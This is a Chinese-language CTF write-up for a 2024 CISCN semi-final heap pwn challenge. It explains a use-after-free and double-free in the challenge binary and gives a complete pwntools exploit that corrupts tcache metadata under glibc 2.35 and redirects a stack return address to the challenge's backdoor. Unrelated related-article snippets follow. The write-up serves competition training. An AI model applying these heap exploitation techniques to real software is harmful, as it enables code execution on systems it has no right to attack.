2024全国大学生信息安全竞赛(ciscn)半决赛(华南赛区)Pwn题解

前言

找华南赛区的师傅要了一份半决赛的Pwn题,听说只有一道题。

题目很简单,可以申请任意大小chunk,并存在UAF、DoubleFree漏洞。

还给了后门函数,不过限制是edit只能写8字节的数据到chunk中。

MyHeap

逆向分析

拖入IDA分析:

image-20240614135105855.png

题目给了2.35版本的libc和ld,经典菜单题。逐个功能分析。

add函数:

image-20240614135142420

可以申请任意大小的chunk,只能同时有一个chunk指针存储在bss段。并且可以申请0x4F0大小chunk,但是没有返回指针。

delete函数:

image-20240614135246299

没有清空指针,存在UAF漏洞。

show函数:

image-20240614135313806

打印chunk中7个字节数据,进行了异或加密,解密即可。可以用来泄露libc地址和heap地址。

edit函数:

image-20240614135443563

可以修改8个字节的数据即fd指针位置。

最后给了一个后门函数:

image-20240614140028218

image-20240614140101457

可以泄露backdoor的地址,并且能够写一次16字节到chunk上,即同时覆盖fd和bk指针。

利用思路

题目保护全开,思路很清晰:

  • 存在UAF漏洞,可以泄露libc和heap基地址。
  • 可以输出backdoor函数地址,即泄露了程序基地址。(也就可以计算出bss_ptr的地址)
  • 能够覆盖一次bk指针,可以清除tcache key进行double free,实现tcache attack。

既然实现了tcache attack,就可以任意地址(0x10对齐的地址)写8字节了。

由于只能写8字节数据,并且只能在0x10对齐的地址上写,需要考虑将backdoor函数写到哪里。

2.34开始,exit删除了dl_rtld_lock_recursiveh和dl_rtld_unlock_recursive,也就是我们常说的exit_hook。

当然,更没有malloc_hook、free_hook等函数了。这里提供3个攻击思路:

  • 通过tls_dtor_list劫持exit,需要先泄露pointer_guard。
  • 更简单的方法,直接修改vtable中的 overflow 或者 xsputn 等函数。(这个题的libc中vtable不可写)
  • 泄露environ变量栈地址,然后修改返回地址为backdoor。

这里介绍第三种方法,将backdoor写回栈上的返回地址。

利用过程

编写异或解密函数:

def decrypt():p.recvuntil(b"the data:")enc = bytearray(p.recv(7))for i in range(7):enc[i] ^= (i + 153)return bytes(enc)

先泄露libc和heap地址:

# leak heap
add_chunk(0x88)
delete_chunk()
show_chunk()
heap_base = u64(decrypt().ljust(8, b'\x00')) << 12
success("heap_base = " + hex(heap_base))# leak libc
add_chunk(0x418)## avoid merge to top_chunk
p.sendlineafter(b"edit\n", b"1")
p.sendlineafter(b"choose?\n", b"2")delete_chunk()
show_chunk()
libc_base = u64(decrypt().ljust(8, b'\x00')) - 0x242ce0 + 0x50000
libc.address = libc_base
environ = libc.sym['environ']
success("libc_base = " + hex(libc_base))
success("environ = " + hex(environ))

然后开始利用。

然而,使用后门函数清除key后进行double free,然后tcache poisoning,只能完成一次任意地址写。

因此,我们需要利用这一次tcache poisoning控制tcache_perthread,控制tcache的个数,实现tcache_perthread。

这样一来,由于我们可以写8个字节数据。可以控制4个tcache的个数,分别是0x20到0x50。

add_chunk(0x88)
delete_chunk()
p.sendlineafter(b"edit\n", b"5")
p.recvuntil(b"address: ")
backdoor = int(p.recv(14), 16)
elf_base = backdoor - 0x12be
success("elf_base = " + hex(elf_base))
success("backdoor = " + hex(backdoor))
p.sendafter(b'data:', p64(0) + p64(0))	# clear tcache_key
delete_chunk()
target = heap_base + 0x10
edit_chunk(p64(heap_base >> 12 ^ target))
add_chunk(0x88)
add_chunk(0x88)
delete_chunk()
edit_chunk(p64(0))

我们已经成功控制的tcache_perthread的前8字节,然后往0x20和0x30大小的tcache中分别放入一个chunk用于后续tcache poisoning。

刚才释放的tcache_perthread放入了0x290的tcache中,再次申请回来并修改对应tcache大小为2。

add_chunk(0x18)
delete_chunk()add_chunk(0x28)
delete_chunk()add_chunk(0x288)
delete_chunk()
edit_chunk(p16(2) + p16(2) + p16(0) + p16(0))

利用0x20大小的tcache泄露environ变量:

# leak stack
add_chunk(0x18)
delete_chunk()
edit_chunk(p64((heap_base >> 12) ^ environ))
add_chunk(0x18)
add_chunk(0x18)
show_chunk()stack_addr = u64(decrypt().ljust(8, b'\x00'))
success("stack_addr = " + hex(stack_addr))

利用0x30大小的tcache控制bss段的chunk指针指向自己:

# bss_ptr->&bss_ptr
add_chunk(0x28)
delete_chunk()
target = elf_base + 0x4040
edit_chunk(p64((heap_base >> 12) ^ target))
add_chunk(0x28)
add_chunk(0x28)

然后,两次edit将backdoor写到返回地址:

# ret_addr->backdoor
target = stack_addr - 0x140
edit_chunk(p64(target))# gdb.attach(p, 'b *$rebase(0x1494)\nc')
# pause()edit_chunk(p64(backdoor))

这里说一下为什么最后一次tcache poisoning需要控制bss段上的chunk指针而不是直接控制返回地址。

glibc2.32开始引入对申请和释放tcache时地址检查,地址必须0x10对齐,因此通过bss段上的chunk指针可以绕过这个保护。

这里还存在一个问题,直接返回backdoor的话会崩,gdb调试发现:

image-20240614172202962

刚学pwn的时候ROP到system(“/bin/sh”)会崩,很多师傅告诉我是堆栈平衡的原因,这次仔细分析了一下。

是因为movaps这条汇编指令是SSE指令,考虑到效率问题,操作数必须0x10字节对齐。

因此,在执行system函数前,我们只需要将栈里多或少放0x8字节数据即可。

这里处理的话是让backdoor + 8,少执行一次push rbp。完整exp如下所示:

from pwn import *elf = ELF("./pwn")
libc = ELF("./libc-2.35.so")
ld = ELF('./ld-2.35.so')p = process([elf.path])
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'def add_chunk(size):p.sendlineafter(b"edit\n", b"1")p.sendlineafter(b"choose?\n", b"1")p.sendlineafter(b"size:", str(size).encode())def delete_chunk():p.sendlineafter(b"edit\n", b"2")def show_chunk():p.sendlineafter(b"edit\n", b"3")def edit_chunk(content):p.sendlineafter(b"edit\n", b"4")p.sendafter(b"data:", content)def decrypt():p.recvuntil(b"the data:")enc = bytearray(p.recv(7))for i in range(7):enc[i] ^= (i + 153)return bytes(enc)# leak heap
add_chunk(0x88)
delete_chunk()
show_chunk()
heap_base = u64(decrypt().ljust(8, b'\x00')) << 12
success("heap_base = " + hex(heap_base))# leak libc
add_chunk(0x418)
p.sendlineafter(b"edit\n", b"1")
p.sendlineafter(b"choose?\n", b"2")
delete_chunk()
show_chunk()libc_base = u64(decrypt().ljust(8, b'\x00')) - 0x242ce0 + 0x50000
libc.address = libc_base
environ = libc.sym['environ']
success("libc_base = " + hex(libc_base))
success("environ = " + hex(environ))# tcache_perthread corruption
add_chunk(0x88)
delete_chunk()
p.sendlineafter(b"edit\n", b"5")
p.recvuntil(b"address: ")
backdoor = int(p.recv(14), 16)
elf_base = backdoor - 0x12be
success("elf_base = " + hex(elf_base))
success("backdoor = " + hex(backdoor))
p.sendafter(b'data:', p64(0) + p64(0))
delete_chunk()
target = heap_base + 0x10
edit_chunk(p64(heap_base >> 12 ^ target))
add_chunk(0x88)
add_chunk(0x88)
delete_chunk()
edit_chunk(p64(0))add_chunk(0x18)
delete_chunk()add_chunk(0x28)
delete_chunk()add_chunk(0x288)
delete_chunk()
edit_chunk(p16(2) + p16(2) + p16(0) + p16(0))# leak stack
add_chunk(0x18)
delete_chunk()
edit_chunk(p64((heap_base >> 12) ^ environ))
add_chunk(0x18)
add_chunk(0x18)
show_chunk()stack_addr = u64(decrypt().ljust(8, b'\x00'))
success("stack_addr = " + hex(stack_addr))# ret_addr -> backdoor
add_chunk(0x28)
delete_chunk()
target = elf_base + 0x4040
edit_chunk(p64((heap_base >> 12) ^ target))
add_chunk(0x28)
add_chunk(0x28)target = stack_addr - 0x140
edit_chunk(p64(target))# gdb.attach(p, 'b *$rebase(0x1494)\nc')
# pause()edit_chunk(p64(backdoor + 8))p.interactive()

附件

关注vx公众号【Real返璞归真】回复【ciscn】获取题目附件。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/27185.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Linux--MQTT简介

一、简介 MQTT &#xff08; Message Queuing Telemetry Transport&#xff0c;消息队列遥测传输&#xff09;&#xff0c; 是一种基于客户端服务端架构的发布/订阅模式的消息传输协议。 与 HTTP 协议一样&#xff0c; MQTT 协议也是应用层协议&#xff0c;工作在 TCP/IP 四…

计算机系统的主要概念

这篇文章通过研究“hello&#xff0c;world”这个简单程序的生命周期来介绍计算机系统的主要概念。 1. 信息就是位 上下文 我们以 hello 程序为例&#xff0c;在 linux 系统中&#xff0c;我们编辑文本文件 hello.c&#xff0c;使用编译器将其编译成可执行的 源程序&#xf…

收银系统源码-千呼新零售2.0【连锁店财务管理】

千呼新零售2.0系统是零售行业连锁店一体化收银系统&#xff0c;包括线下收银线上商城连锁店管理ERP管理商品管理供应商管理会员营销等功能为一体&#xff0c;线上线下数据全部打通。 适用于商超、便利店、水果、生鲜、母婴、服装、零食、百货等连锁店使用。 详细介绍请查看下…

k8s学习--helm的详细解释及安装和常用命令

文章目录 Helm简介什么是Helm主要组件核心概念chart结构总结 应用环境一、helm部署二、helm基础使用 Helm简介 什么是Helm Helm 是 Kubernetes 的一个包管理工具&#xff0c;它允许用户定义、安装和升级复杂的 Kubernetes 应用程序。Helm 通过使用 “Charts” 的概念来简化应…

Zig标准库:最全数据结构深度解析(1)

最近新闻看到17岁中专女生拿下阿里全球数学竞赛第12名。咱们学习标准库中的数据结构是和学习数学是一脉相承的&#xff0c;结构体很多&#xff0c;也非常枯燥&#xff0c;但是不能全面解读过一遍&#xff0c;你很难写出合理的代码。所以&#xff0c;这一章节我们开始深度解析Zi…

关于投标中的合理均价基准差径靶心法(KIMI回答)

投标中的合理靶心法到底是什么呢&#xff1f;用了KIMI来进行回答&#xff1a;

基于uni-app和图鸟UI的智慧校园圈子小程序开发实践

摘要&#xff1a; 随着教育信息化和“互联网教育”的快速发展&#xff0c;智慧校园建设已成为推动校园管理现代化、提高教育教学质量的重要手段。本文介绍了基于uni-app和图鸟UI开发的智慧校园圈子小程序&#xff0c;旨在通过一站式服务、个性化定制、数据互通和安全可靠等特点…

Base64编码方式的介绍及其编码解码

一、Base64是什么 Base64是一种用于将二进制数据编码为ASCII字符的编码方式&#xff0c;主要目的是为了能够在文本环境中传输和存储二进制数据。这种编码方式广泛应用于电子邮件、HTTP协议和其他需要传输或存储二进制数据的地方。 二、发明Base64编码的原因 Base64编码的发明解…

202479读书笔记|《你是人间的四月天》——谁又能参透这幻化的轮回, 谁又大胆的爱过这伟大的变幻?

202479读书笔记|《你是人间的四月天》——谁又能参透这幻化的轮回&#xff0c; 谁又大胆的爱过这伟大的变幻&#xff1f; 散文诗歌书信 《你是人间的四月天&#xff08;果麦经典&#xff09;》作者林徽因&#xff0c;才女的散文&#xff0c;诗歌&#xff0c;书信集选。很值得一…

python爬虫爬电影数据

使用python 爬了下豆瓣电影&#xff0c;仅供学习。 目标链接主页 获取div内容 保存爬出来的数据

Java数据类型及运算符(与C语言对比)

Java和C语言在数据类型大部分相同&#xff0c;但是也有不同 1.新增了byte类型&#xff08;相当于C语言中把char用作整数一样&#xff09; 2.然后就是char类型的大小改为了2字节。 3.布尔型改名为boolean而不是bool,且大小没有明确规定&#xff0c;方便进行不同平台之间的移…

【QT5】<重点> IMX6ULL开发板运行QT

目录 1. 安装交叉编译器 2. 命令行交叉编译QT项目 3. 运行该可执行程序 4. 开发板上运行UDP程序与Ubuntu通信 1. 安装交叉编译器 第一步&#xff1a;进入正点原子论坛找到IMX6ULL开发板的资料&#xff0c;下载“开发工具”&#xff0c;将“交叉编译工具”中的fsl-imx-x11-…

网站导航在整个网站里面起到什么作用

1.网站导航相当于网站模块 网站有多少个导航内容就相当于有多少个网站模块&#xff0c;有了导航其实就有了整个网站的分类&#xff0c;这样对于网站来说就可以很好的把内容归类&#xff0c;然后再细分每一个细节&#xff0c;等于是导航可以固定了整个网站的内容架构。 2.…

搜维尔科技:SenseGlove为什么不同的手套尺寸对触觉技术至关重要

senseglove适当的尺寸可确保: 1.精确的运动跟踪:合适的手套保持部件稳定&#xff0c;防止不准确的运动跟踪 2.有效的力反馈:我们基于肌腱的力反馈系统通过对手套的绳子施加力来模拟肌肉的运动。不稳定的配合会影响反馈&#xff0c;使其感觉虚弱和柔软。 3.舒适性和敏感性:我…

如何选择可靠的代码签名证书签发机构?

软件和应用程序已成为我们日常生活和工作中不可或缺的一部分。它们不仅处理着大量的敏感数据&#xff0c;还执行着许多关键任务。因此&#xff0c;确保这些软件的安全性和完整性变得极为重要。代码签名证书作为一种关键工具&#xff0c;其作用在于验证软件的来源&#xff0c;确…

代码随想录算法训练营第36期DAY58

DAY58 今天的主题是&#xff1a;编辑距离。在字符串进行增删字符的操作。 392判断子序列&#xff0c;简单 首先想到快慢双指针&#xff1a; 通过了&#xff0c;很好&#xff1a; class Solution {public: bool isSubsequence(string s, string t) { int slow0; …

Android 13 高通设备热点低功耗模式(2)

前言 之前写过一篇文章:高通热点被IOS设备识别为低数据模式,该功能仿照小米的低数据模式写的,散发的热点可以达到被IOS和小米设备识别为低数据模式。但是发现IOS设备如果后台无任何网络请求的时候,息屏的状态下过一会,会自动断开热点的连接。 分析 抓取设备的热点相关的…

4、视觉里程计:特征点法、直接法和半直接法

先说一下我自己的总体理解&#xff1a; 特征点法&#xff0c;基于最小化重投影误。 提取特征点&#xff0c;计算描述子&#xff0c;匹配&#xff0c;运动估计。 计算描述子和匹配部分可以用光流法跟踪替代 总体上先知道像素之间的关系&#xff0c;在估计运动&#xff08;最…

基于matlab提取一维数组中非nan的数据

一、使用逻辑索引 使用逻辑索引来选择数组中所有非NaN的元素。逻辑索引是与原数组同型的逻辑数组&#xff0c;true对应的位置将会被选中。 % 假设a是一维数组 a [1, 2, NaN, 4, NaN, 6];% 使用逻辑索引提取非NaN元素 non_nan_elements a(~isnan(a)); 二、使用isnan函数和fi…

计算机二级Access选择题考点

在Access中&#xff0c;若要使用一个字段保存多个图像、图表、文档等文件&#xff0c;应该设置的数据类型是附件。在“销售表"中有字段:单价、数量、折扣和金额。其中&#xff0c;金额单价x数量x折扣&#xff0c;在建表时应将字段"金额"的数据类型定义为计算。若…